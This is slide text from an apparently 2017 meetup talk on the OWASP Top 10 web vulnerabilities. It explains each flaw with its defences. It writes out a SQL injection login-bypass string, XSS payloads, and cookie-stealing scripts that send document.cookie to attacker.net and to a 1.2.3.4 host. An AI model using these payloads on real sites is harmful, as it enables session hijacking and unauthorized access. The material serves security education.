Top 10 Web Application vulnerabilities

OWASP 2017
Top 10 Web App
Vulnerabilities
Terrance Medina
Classic City Developers’ Meetup
August 2017

Hi, I’m Terrance
UGA Computer Science grad
- B.S. 2010
- M.S. 2015
Embedded / IoT Engineering, 2 yrs
Web Application Full-stack dev, 3 yrs
Previously a videographer in the U.S. Navy

Introduction
OWASP
❖ Open Web Application Security Project
❖ A non-profit consortium of security pros promoting best practices and
awareness.
❖ www.owasp.org
Top 10 Vulnerabilities (2017)
❖ Publish a new list every 3-4 years.
❖ https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
❖ This year’s list due to be finalized in November (a little later than usual)
❖ Using the beta version for this presentation

#1: Injection
❖ an attack against the server that exploits an interpreter
❖ e.g. SQL, LDAP, NoSQL, XPath, Expression Languages (Razor, Spring etc.),
shell/OS
❖ an attacker can trick the interpreter into doing something uncool by
sending it a carefully crafted and unexpected input
❖ Defense - any data that gets passed to an interpreter should be suspect

Classic SQL injection attack
$query = “SELECT userid FROM Users WHERE user = ‘$_GET[“user”]’ AND password =
‘$_GET[“password”]’”;
// If the number of rows returned by the query > 0, then authenticate
Expected Use
http://www.victim.com/cms/login.php?user=foo&password=bar
SELECT userid FROM Users WHERE user = ‘foo’ AND password = ‘bar’
Malicious Use
http://www.victim.com/cms/login.php?user=foo&password=bar’ OR ‘1’=’1
SELECT userid FROM Users WHERE user = ‘foo’ AND password = ‘bar’ OR ‘1’ = ‘1’

Injection Defense
1. Never blindly concatenate user input into interpreter commands.
a. PHP, Ruby: be especially careful of eval() and functions that use eval()
2. Escaping user input
a. Neutralize dangerous characters like single-quote
b. Effectively thwarts injection
c. Coverage can be difficult to track
3. Use parameterized queries where possible
a. Binds the input to typed parameter values
b. PHP, Ruby: Prepared statements
c. Asp.NET: Parameterized SQL
Cont’d on next

More injection defense
4. Stored procedures
a. Can help mitigate vulnerabilities
b. Still need to parameterize values instead of concatenate
c. string q = “exec my_sp ” + user_input_1 + “, ” +
user_input_2 + “;”;
5. ORM (Object Relational Mapper)
a. Helpful, but not sufficient by itself
b. Ensure it parameterizes queries and does not use concatenation
6. Whitelist
a. If possible, enumerate the acceptable inputs and only accept those
b. Most secure option, but limited

#2: Broken Authentication and Session
Management
❖ Review HTTP
❖ Review Sessions
❖ Protecting Sessions
❖ Same Origin Policy
❖ Session Fixation

HTTP Review
❖ Method
➢ GET: read requests
➢ PUT, POST, DELETE: State-changing requests
❖ Host
➢ example.com
❖ Request URI
➢ /orders.html?foo=‘foo’&bar=‘bar’
❖ Headers
➢ Authorization, Content-Type, Content-Length, Set-Cookie, Cookie, etc.
❖ Body
➢ Form values, HTML, Serialized data (JSON, XML, etc)
GET /pub/WWW/TheProject.html HTTP/1.1
Host: www.w3.org

HTTP Sessions
HTTP is a stateless protocol
❖ No way to tell if 2 requests come from the same user, or are part of a
single session
Emulating sessions
❖ Assign each session a unique ID
❖ Session IDs are sent with each request
If the server can map a session id to a user, it can maintain a session
with you. Hooray!
Danger! - Anyone who gains access to your Session ID can
impersonate you on the server!

Keep it secret, keep it safe
Don’t expose session ids in the Request URL
❖ i.e. as a GET request parameter
❖ Sometimes done unwittingly via URL rewriting engines.
❖ Some frameworks detect if a browser has disabled cookies and use URL
rewriting to put the session id in the URL.
❖ “Cookie-less sessions” Sad!
Use cookies instead
❖ Stored in the HTTP header
❖ Sent by the browser with every request to the server
cont’d next

Keep it secret, keep it safe (cont’d)
Never transmit session ids in the clear.
❖ Use HTTPS!
❖ And enforce by using Secure Cookies.
Secure Cookies
❖ Tells the browser to only send cookies over HTTPS
❖ session.cookie_secure=True // in php.ini
❖ setcookie($name,$value,$expire,$path,$domain,$secure,$httponly)
Once a user has been authenticated, don’t switch back to HTTP.
❖ Session ids get sent with EVERY request, so they will still be sent in the clear.

Safeguarding cookies
Cookies are stored in the browser.
Can be read by Javascript on the client.
Can an attacker write some Javascript that peeks at the cookies for
another site?
This would allow them to steal the session id for that site!

Same Origin Policy
A security policy implemented in the browser.
“Origin” means two URLs have the same origin iff they have the same
- Host
- Protocol
- Port
*Examples from
Wikipedia

Same Origin Policy (cont’d)
Rules:
1. Javascript may not access resources from other origins.
a. Cookies
b. DOM
2. XmlHttpRequests (AJAX)
a. You can send cross-origin requests.
b. You just can’t read the response headers or body.
c. GET requests can still deliver data through URL parameters.
d. PUT and POST requests can still enact a state change on their targets.
3. <script> tags are a loophole
a. That’s how we can GET .js from CDNs
b. <script src=“https://code.jquery.com/jquery-3.2.1.min.js”>

Session Fixation Attack
Why steal a session id when you can make your own?
Basic idea
An attacker tricks you into authenticating
using a phony session id that he has
provided to you, then uses the session id to
impersonate you.

Attacker
Victim
Server
1. Attacker connects to the application
and obtains a sessionID. The
sessionID is valid, but not yet
authenticated.
/login.html
Session ID

Attacker
Victim
Server
2. Feed a link to a victim with the
sessionID either in the URL or
in cookies via javascript.
Session ID
Session ID

Attacker
Victim
Server
3. User clicks the link and
authenticates himself using the
attacker’s sessionID.
Session ID
Session ID
Session ID

Attacker
Victim
Server
Session ID
4. The web server takes the
session id provided with
the login request and
authenticates it. FATAL!
Session ID
Session ID

Attacker
Victim
Server
Session ID
Session ID
6. Attacker uses the now-authenticated
sessionID to be evil, impersonate the
victim on the server.
Session ID

Defending against Session Fixation
Rotate your session ids!
- After a user authenticates, invalidate their existing session id and issue a
new one.
- Now, even if an attacker has injected a phony session id, that id will not be
validated and cannot be used to impersonate you.
Framework support
- Laravel -- Good news! Automatically rotates session ids at login
- Rails -- reset_session, Devise gem will automatically rotate sessions
- Asp.NET -- D’oh! No support, it’s all up to you.

#3: Cross-site Scripting (XSS)
❖ A type of injection attack. Instead of attacking the server, this attacks clients
through the server.
❖ Like other injection attacks, the main attack surface is unchecked
concatenation of user input with script elements.
❖ In this case, concatenation of user input with HTML for redisplay to a user.
❖ Basic use: attacker tricks a server into sending malicious Javascript to a client.
The browser trusts this Javascript and gives it access to all the delicious
cookies!
❖ 2 Types of XSS attacks:
1. Reflected
2. Stored

Reflected XSS
User input is concatenated with HTML output and echoed back
Immediately to the user.
Example
A re-usable error page that takes the content of the page as a GET parameter.
Intended use:
https://mysite.com/error.php?message=404+File+not+found
Malicious abuse:
https://mysite.com/error.php?message=<script>alert(“How%27s+Annie%3F”)</script>
❖ this also works if the server page uses DOM scripting to insert the message, instead of plain
concatenation.
❖ Also, these examples are GET requests, but an attacker can just as easily put scripts into the body of a
POST request.

Stored XSS
Malicious Javascript gets stored unfiltered on the application’s database and
distributed to all users who view a page.
Example
a blog where users can submit arbitrary comments, images, etc. that do not get filtered
Attack
a user enters a comment like:
“Nice blog … for me to poop on!<script>alert(“Pooooop!”)</script>”
❖ The comment is stored as-is in the DB and written as-is into the HTML
output of the page.
❖ Now every user who views the page with this comment gets an alert popup
with “Poooop!”

Attacker
Victim
Server
Stealing Cookies with XSS
Authenticate
Session ID
Session ID
1. Victim logs in to the site. An
authenticated Session token is
stored in browser cookies.

Attacker
Victim
Server
Session ID
2. Attacker feeds the victim a poisoned
URL through some side channel.
http://mysite.com/error/5/Error.php?message=
<script>
var i=new Image;
i.src=“http://attacker.net/”%2bdocument.cookie;
</script>

Attacker
Victim
Server
GET
Session ID
3. Victim’s browser sends URL GET
request with XSS injection to the
server. Server responds with the
malicious Javascript in the html.
<html><body><p>
<script>
var i=new Image;
i.src=“http://attacker.net/”%2bdocument.cookie;
</script></p></body></html>

Attacker
Victim
Server
Session ID
4. Victim’s browser executes the
Javascript. It was served by a
trusted server! Attacker gets the
cookies!
GET http://attacker.net/”%2bdocument.cookie;
Session ID

Delivering XSS attacks
❖ Email
❖ Text Messages
❖ Banner ads
❖ Poisoned web sites
❖ Defaced legitimate sites
Samy worm
- 2005 XSS worm released via MySpace

Defending your site against XSS
Like any injection attack, defend by treating all user input as suspicious.
Neutralize harmful inputs by escaping all potentially meaningful characters
1. The escaping rules depend on where the text will be placed
2. Don’t try to roll your own solution here, it’s easy to screw up.
3. Use a purpose built escaping library to do it.
a. PHP: OWASP HTMLPurifier http://htmlpurifier.org/ or OWASP AntiSamy
b. Asp.NET: System.Web.Security.AntiXss.AntiXssEncoder

Don’t be like Jeff Atwood
Jeff Atwood’s Coding Horror blog
- Tried to implement his own html escaping library for use on his
comments section
- Got pwned
- https://blog.codinghorror.com/protecting-your-cookies-httponly
<img src=""http://www.a.com/a.jpg<script type=text/javascript
src="http://1.2.3.4:81/xss.js">" /><<img
src=""http://www.a.com/a.jpg</script>"
window.location="http://1.2.3.4:81/r.php?u="+document.links[1].text+"&
l="+document.links[1]+"&c="+document.cookie;

Defending against XSS
Only insert user data into specific, trusted locations in the document.
❖ Inside element tags, not between them.
❖ As an attribute value.
❖ As a data value in a script.
❖ NEVER directly in a <script> tag.
❖ NEVER inside HTML comments
❖ NEVER as attribute names
❖ NEVER directly in a <style> tag
Whitelist user inputs when possible
❖ If you know there is a limited set of valid user inputs, only allow those
❖ Safest approach , but not always possible

Use the HttpOnly header flag
Marks a cookie as being readable on the server only
❖ client-side Javascript cannot access it
❖ defeats the cookie-stealing XSS attack
Set-Cookie: ASP.NET_SessionId=ig2fac55; path=/;HttpOnly
PHP Session Cookie, set in php.ini
session.cookie_httponly=True
PHP Other cookies
setcookie( $name, $value, $expire, $path, $domain, $secure, $httponly )

#4: Broken Access Control
Allowing authenticated users to access information they should not have
access to.
Authentication
❖ Verify that a user has some level of access to the system
❖ Check username and password
Authorization
❖ Verify that an authenticated user is allowed access to a specific resource on
the system.
❖ Assign Roles (e.g. admin, customer, manager, etc) to control access.
❖ Ensure a user cannot escalate their assigned role.
❖ Ensure a user cannot access privileged information of other users in the same
role.

Example access attack
Suppose you have a URL for a customer’s order history:
https://mysite.com/orders/123456
Danger! attacker can try entering any arbitrary order number to spy on other customers.
Make sure you do an authorization check on the order number before fetching it from the
database.
Or, use indirect access instead:
https://mysite.com/orders/3
This reduces the attack surface. The attacker cannot select arbitrary order numbers.
Order number
“Direct access”
The 3rd order in the
logged in user’s history
“Indirect access”

Defend against access attacks
1. Verify authorization on all requests for privileged resources.
2. Reduce the attack surface.
a. Avoid direct object references.
b. Don’t expose database primary keys to the user.
c. Avoid easily guessable naming patterns for privileged resources.
3. Attackers won’t play nice with your UI.
a. Don’t assume that just because there’s no link to a privileged page that they won’t be able to
navigate to it.
https://mysite.com/setup
https://mysite.com/admin_setup
setup page for normal users
setup page for admins
Verify authorization before
serving!

#5: Security Misconfiguration
❖ Death by a thousand cuts
❖ Many vulnerabilities, most are platform-specific
❖ Out of date components (OS, AppServer, DB, etc)
❖ Unnecessary features, ports, services left in place
❖ Verbose error messages with stack traces, etc. Can
be used to identify vulnerable components by
version number.

More ways to mis-configure security settings
❖ Default accounts and passwords left in place.
❖ Leaving directory listing in place. Attacker could download compiled
byte code, decompile and look for vulnerabilities.
❖ Allowing web server to run with higher-than-necessary privileges (e.g.
root)
❖ Storing database connection strings in clear text (e.g. in config file)

Solution? DevOps/Automation!
A repeatable hardening process
- make it fast and easy to deploy new, secure environments
- automated process to verify configurations and settings for all
components
A process for keeping up with updates and patches for all
components, frameworks and libraries.

#6: Sensitive Data Exposure
Sensitive Data == passwords, PII, Credit Card info, health info,
session cookies, etc.
1. Don’t store it if you don’t need to.
a. Storing can mean persistent (in the database) but also
volatile (in the cache)
2. Don’t send it “in the clear”, use SSL/TLS.
3. If you must store it, hash it appropriately.
a. Use salted hashes to defeat rainbow table attacks
b. bcrypt, standard hashing algorithm in e.g. Laravel

123456
Let’s suppose:
❖ An attacker gains a DB dump of all passwords.
❖ The passwords have been hashed (whew!) so they can’t be un-hashed.
❖ What can our attacker do? Keep guessing? Brute force attacks are
generally infeasible.
What’s an attacker to do??
❖ Many users have commonly used passwords
❖ e.g. “123456” or “susie” or “pa$$word”
❖ These passwords have been stolen before and hashed
So the attacker can use a dictionary of pre-computed hashes to
match her stolen passwords.

Dictionary Attack
Password: E10ADC3949BA59ABBE56E057F20F883E
Dictionary: E10ADC3949BA59ABBE56E057F20F883E == md5(“123456”)
So, the Plaintext must be “123456”
What if several users all use this awesome password?
❖ Their hashed passwords are all the same in the DB dump
❖ The attacker now knows all of them!

Rainbow table attacks
Time vs Space
❖ Dictionary attacks are fast
❖ But they take up lots of space
❖ Infeasible for cracking obscure/complicated passwords
A rainbow table provides more of a compromise in the time/space tradeoff.
❖ Uses chains of reduction functions
❖ Takes longer to crack a single password, but with much less space

Defense? Salt the Hash!
Makes dictionary attacks and rainbow table attacks infeasible.
1. Take a long (128-bit is good) randomly generated string and
append/prepend it to the password.
2. Hash the concatenated password and salt together.
3. Salt does not need to be secret, just store it in the DB along with the
hashword.
4. Now, even though the attacker has the salt and a dictionary, she would
still have to try every possible combination of salt with every possible
password.
5. She’s back to a brute force attack!

bcrypt
❖ widely used hashing algorithm that produces salted hashes
❖ designed to be computationally expensive.
❖ adjustable cost factor, so as computers get faster, bcrypt can get slower
$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
N9qo8uLOickgx2ZMRZoMye: basn64 encoded salt
IjZAgcfl7p92ldGxad68LJZdL17lhWy: base64 encoded hash
10: cost parameter
2a: modular format identifier

Using bcrypt
Implementations are available for most languages.
PHP => password_hash(‘password’, PASSWORD_DEFAULT);
password_verify(‘password’, $hash);// defaults to bcrypt
RoR => Bcrypt::Password.create(“password”);
passwordHash == “password”
ASP.Net => using Bcrypt.Net;
Bcrypt.HashPassword(“password”);
Bcrypt.Verify(“password”, hash);

The Sony Hack (no, the other one)
❖ 2011 LulzSec gains access to Playstation Network, and
other Sony services database.
❖ More than 1,000,000 user passwords stored in plain text!
❖ 2014 Guardians of Peace (North Korea?) gains access to
Sony Pictures.
❖ Employees PII, salaries, catty Hollywood emails and the
upcoming James Franco/Seth Rogen movie about North
Korea.

#7: Insufficient Attack Prevention
❖ Is someone attacking you right now?
❖ Would you know it if they were?
❖ Do you have a plan in place to respond to attacks in progress?
Defense Approach:
❖ Log everything
❖ Analyze logs for suspicious patterns
➢ high tempo
➢ unusual usage patterns (inputs not allowed by the UI),
➢ repeated requests or login failures
➢ Attempts to manipulate expired sessions

Web Application Firewall (WAF)
❖ Filters, monitors and blocks HTTP traffic to and from a web application
❖ Inspects the HTTP traffic before it reaches your application server
❖ Can prevent attacks from XSS, SQL Injection, file inclusion, security
misconfiguration, DDOS, etc.
❖ Allows for Virtual Patching
➢ Custom rulesets to provide temporary protection against vulnerabilities

Web Application Firewalls
Vendors
1. Imperva
a. Commercial
b. Securesphere, Incapsula, etc.
c. cloud-based
2. ModSecurity
a. open source
b. originally an Apache mod by Ivan Ristic
c. frequently deployed on a reverse proxy, like a load balancer

Response
Once a problem has been identified ...
❖ block requests
❖ Block IP addresses or ranges
❖ disable misbehaving user accounts
❖ Apply Virtual Patches

#8: Cross-site Request Forgery (CSRF)
❖ Aka “one-click attack”, “session riding”
❖ Exploits Same Origin Policy of web browsers
❖ Basic idea: trick the victim into performing a malicious action on
their own account
❖ Don’t need any special tokens (session id)
❖ Don’t need to get any information from the attack

Here’s how a CSRF Attack works ...
1. The victim logs into their valuable account like normal.
2. The victim visits the attacker’s website
a. Poisoned site
b. Poisoned email, text message, etc.
3. The poisoned site contains some Javascript that sends a state-changing request (POST or PUT)
to the victim’s valuable account.
a. Transfer funds
b. Change password
c. Set permissions or privileges
4. Recall that state-changing requests across sites are permitted by the Same Origin Policy.
5. Since the user is still logged in to their valuable account, their cookies are sent to the valuable
account server and the request is authenticated.

Defending against CSRF attacks
CSRF Synchronizer token
❖ a unique id issued to a user per session for POST and PUT requests
❖ A hidden form input, unique per session
❖ Transmitted in request body, not headers (won’t be sent with Cookies)
❖ Attacker would have to know or guess the token when generating the
malicious request

Defending against CSRF attacks (cont’d)
Double Cookie
❖ Use if storing a CSRF token in session state is inappropriate
❖ Store a random id as a client Cookie, separate from session id
❖ Client must return the double cookie as a hidden form input on
each request
❖ Server checks that cookie and form values match

Defending against CSRF attacks (cont’d)
Check headers for cross-origin requests
❖ Just because an attacker sends it doesn’t mean you have to
accept it
❖ Origin header matches target origin
❖ Lots of fine points and caveats, OWASP has a cheat sheet
❖ https://www.owasp.org/index.php/Cross-Site_Request_Forgery
_(CSRF)_Prevention_Cheat_Sheet

#9: Using Components with Known Vulnerabilities
Components
- Libraries (e.g. OpenSSL),
- Frameworks (e.g. Wordpress),
- Plugins, Modules, etc.
- Operating System (e.g. Windows XP), etc.
“Known” == known to anybody. What you don’t know can hurt you!
Vulnerabilities
- HeartBleed (OpenSSL), allowed an attacker to “unencrypt” messages

What to do?
Keep an eye on vulnerability databases:
1. https://nvd.nist.gov/home
2. http://cve.mitre.org/
Not every known vulnerability is published in these databases!
- Some are hoarded (NSA)
- others are sold (Blackhat Hackers named Hathaway)
Keep an inventory of all components and dependencies in your projects.
OWASP Dependency Check tool -- supports Java and .NET
If updating a vulnerable library is not immediately feasible, use a virtual patch.

#10: Underprotected APIs
What is an API?
❖ Decouple data transfer from presentation
❖ Respond with raw data instead of HTML
➢ JSON formatted (RESTful)
➢ XML formatted (SOAP)
Uses
❖ Single-page applications / Mobile Applications
❖ Internet of things
➢ embedded devices communicating with a server
❖ 3rd party integration
➢ allow a web application to use another resource that you own
➢ Let Spotify post to your Facebook page
➢ Allow a mobile app to interact with your Amazon Seller account

How can we protect APIs?
1. Authentication
2. Authorization
3. Parser hardening
4. All previous vulnerabilities

API Authentication
Form-based authentication
- Pass username and password in body
- Store session id in cookie
Http Basic Authentication
- Send un-hashed credentials in HTTP header
- Authorization: Basic cHewemF0aDpwdsdsdsdE5ODc=
- Base64 encoded (username:password)
** Both of these MUST be secured with SSL/TLS (HTTPS)

API Authentication (cont’d)
Http Digest Authentication
1. Client sends request without credentials
2. Server responds with 401 “Unauthorized”
a. Nonce: a one-time code
i. prevent replay attacks
ii. New one generated for each 401 response
b. Opaque: an id unique to the session
3. Client responds with md5 hashed username, password, nonce and
opaque
** Does not require SSL/TLS, since credentials are not sent in the clear

API Authorization with OAuth 2.0
We have access to a web application (or mobile app, etc) and an API
(Facebook, etc)
We want to tell the API that the application is authorized to use the API on
our behalf.
We could just give our username and password to the application
1. Unsafe -- do we really trust the app?
2. Fragile -- what if we have to change our password?

Delegated Authorization
We could use our credentials to obtain a temporary bearer token
1. App can use this instead of credentials
2. Passed in the HTTP Authorization header
3. Mechanism for expiring and refreshing tokens
OAuth is not an implementation
- a standard to cover multiple use cases
- different levels of trust
- Apps running on a server (very trustworthy)
- client-side Javascript (not trustworthy)
- mobile apps (sorta trustworthy)

API Parser attacks
API requests contain serialized data (JSON or XML) that must be parsed.
If the parser you are using has a vulnerability to e.g. buffer overflows, an
attacker could exploit it with a well-crafted request message.
Example -- a 2013 vulnerability in the RoR JSON parser that allowed
attackers to bypass authentication systems and inject and run arbitrary
code.
XML External Entity Attack
- Attacks XML parser by including references to External DTDs
- Can result in disclosure of confidential data
- Defend by disabling DTDs in your parser

API Injection attacks
Data serialized in HTTP body
- Should be considered as user input
- Regard with suspicion
Follow all previous rules about avoiding injection attacks

Consequences
Unauthorized access to financial accounts
Disclosure of sensitive data
Internet of Things
- Massive DDOS attacks
- September 2016 Mirai botnet
- 49,657 unique IP addresses, mostly CCTV cameras
- Breach of privacy
- Shodan: search engine for unsecured IoT devices
- Has an entire section devoted to unsecured webcams

Resources
www.owasp.org
*Security cheat sheets available for most platforms
Vulnerability databases
http://www.kb.cert.org
https://cve.mitre.org
https://nvd.nist.gov
JSON parser attacks
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0333
https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/1h2DR63ViGo
IoT security problems
https://arstechnica.com/information-technology/2016/01/how-to-search-the-internet-of-thin
gs-for-photos-of-sleeping-babies/

That’s all folks!!
Questions?

Top 10 Web Application vulnerabilities

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to Top 10 Web Application vulnerabilities

Similar to Top 10 Web Application vulnerabilities (20)

Recently uploaded

Recently uploaded (20)

Top 10 Web Application vulnerabilities